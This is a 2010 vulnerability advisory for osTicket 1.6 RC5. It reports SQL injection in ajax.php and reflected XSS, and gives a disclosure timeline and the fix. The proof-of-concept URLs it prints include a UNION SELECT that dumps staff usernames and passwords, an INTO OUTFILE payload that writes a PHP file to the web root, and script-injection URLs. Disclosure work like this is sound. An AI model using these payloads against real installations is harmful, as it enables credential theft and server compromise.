osTicket 1.6 RC5 – Multiple Vulnerabilities
Advisory Name: SQL injection in osTicket Vulnerability Class: SQL injection Release Date: 2010-02-09 Affected Applications: Confirmed in osTicket 1.6 RC5. Other versions may also be affected. Affected Platforms: Multiple Local / Remote: Remote Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C) Researcher: Nahuel Grisolía Vendor Status: Acknowledged/Fixed. New release available: osTicket 1.6 Stable or check http://osticket.com/forums/project.php?issueid=176 Vulnerability Description: A Vulnerability has been discovered in osTicket, which can be exploited by malicious people to conduct SQL injection attacks. Input passed via the "input" parameter to ajax.php is not properly sanitized before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The vulnerability is confirmed in version 1.6 RC5. Other versions may also be affected. Proof of Concept: http://x.x.x.x/upload/scp/ajax.php?api=tickets&f=searchbyemail&input=nah%27%20%20union%20sel ect%20username,passwd%20from%20ost_staff--%20and%20%27%%27%20LIKE%20%27 http://x.x.x.x/upload/scp/ajax.php?api=tickets&f=searchbyemail&input=nah%27%20%20union%20sel ect%20%27%3C?php%20phpinfo%28%29;%20?%3E%27,%27%27%20into%20outfile%20%27/var/ www/upload/images/info.php%27--%20and%20%27%%27%20LIKE%20%27 Impact: Execute arbitrary SQL queries. Solution: Upgrade to osTicket 1.6 Stable or check http://osticket.com/forums/project.php?issueid=176 Vendor Response: January 9, 2010 – First Contact January 10, 2010 / February 4, 2010 – Updates on resolution February 9, 2010 – Latest version and patch available February 9, 2010 – Public Disclosure of the Vulnerability Contact Information: For more information regarding the vulnerability feel free to contact the researcher at nahuel.grisolia <at> gmail <dot> com Reflective XSS: Advisory Name: Reflected Cross-Site Scripting (XSS) in osTicket Vulnerability Class: Reflected Cross-Site Scripting (XSS) Release Date: 2010-02-09 Affected Applications: Confirmed in osTicket 1.6 RC5. Other versions may also be affected Affected Platforms: Multiple Local / Remote: Remote Severity: Medium – CVSS: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N) Researcher: Nahuel Grisolía Vendor Status: Acknowledged/Fixed. New release available: osTicket 1.6 Stable or check http://osticket.com/forums/project.php?issueid=176 Vulnerability Description: A reflected Cross Site Scripting vulnerability was found in osTicket 1.6 RC5, because the application fails to sanitize user-supplied input. Any logged-in user can trigger the vulnerability. Proof of Concept: http://x.x.x.x/upload/scp/ajax.php?api=1%3Cscript%3Ealert%28%22xss%22%29;%3C/script%3E&f= cannedResp http://x.x.x.x/upload/scp/ajax.php?api=kbase&f=%3Cscript%3Ealert%28%22xss%22%29;%3C/script %3E Impact: An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may obtain authorization cookies that would allow him to gain unauthorized access to the application. Solution: Upgrade to osTicket 1.6 Stable or check http://osticket.com/forums/project.php?issueid=176 Vendor Response: January 9, 2010 – First Contact January 10, 2010 / February 4, 2010 – Updates on resolution February 9, 2010 – Latest version and patch available February 9, 2010 – Public Disclosure of the Vulnerability Contact Information: For more information regarding the vulnerability feel free to contact the researcher at nahuel.grisolia <at> gmail <dot> com |